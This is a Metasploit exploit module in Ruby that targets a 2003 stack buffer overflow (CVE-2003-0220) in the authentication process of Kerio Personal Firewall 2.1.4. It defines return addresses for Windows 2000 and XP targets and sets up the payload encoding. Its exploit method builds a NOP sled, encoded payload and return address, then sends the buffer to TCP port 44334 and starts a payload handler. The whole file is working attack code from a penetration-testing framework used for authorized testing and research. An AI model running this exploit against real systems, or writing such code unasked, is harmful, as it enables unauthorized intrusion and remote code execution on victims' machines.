metasploit-framework/modules/exploits/windows/firewall/kerio_auth.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
super(update_info(info,
'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Kerio Personal Firewall
administration authentication process. This module has only been tested
against Kerio Personal Firewall 2 (2.1.4).
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2003-0220'],
['OSVDB', '6294'],
['BID', '7180'],
['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
],
'Privileged' => true,
'DisclosureDate' => 'Apr 28 2003',
'DefaultTarget' => 0))
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register_options(
[
Opt::RPORT(44334)
], self.class)
end
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def exploit
connect
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print_status("Trying target #{target.name}...")
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sploit = make_nops(4468) + payload.encoded
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
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sock.put(sploit)
sock.get_once(-1, 3)
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handler
disconnect
end
end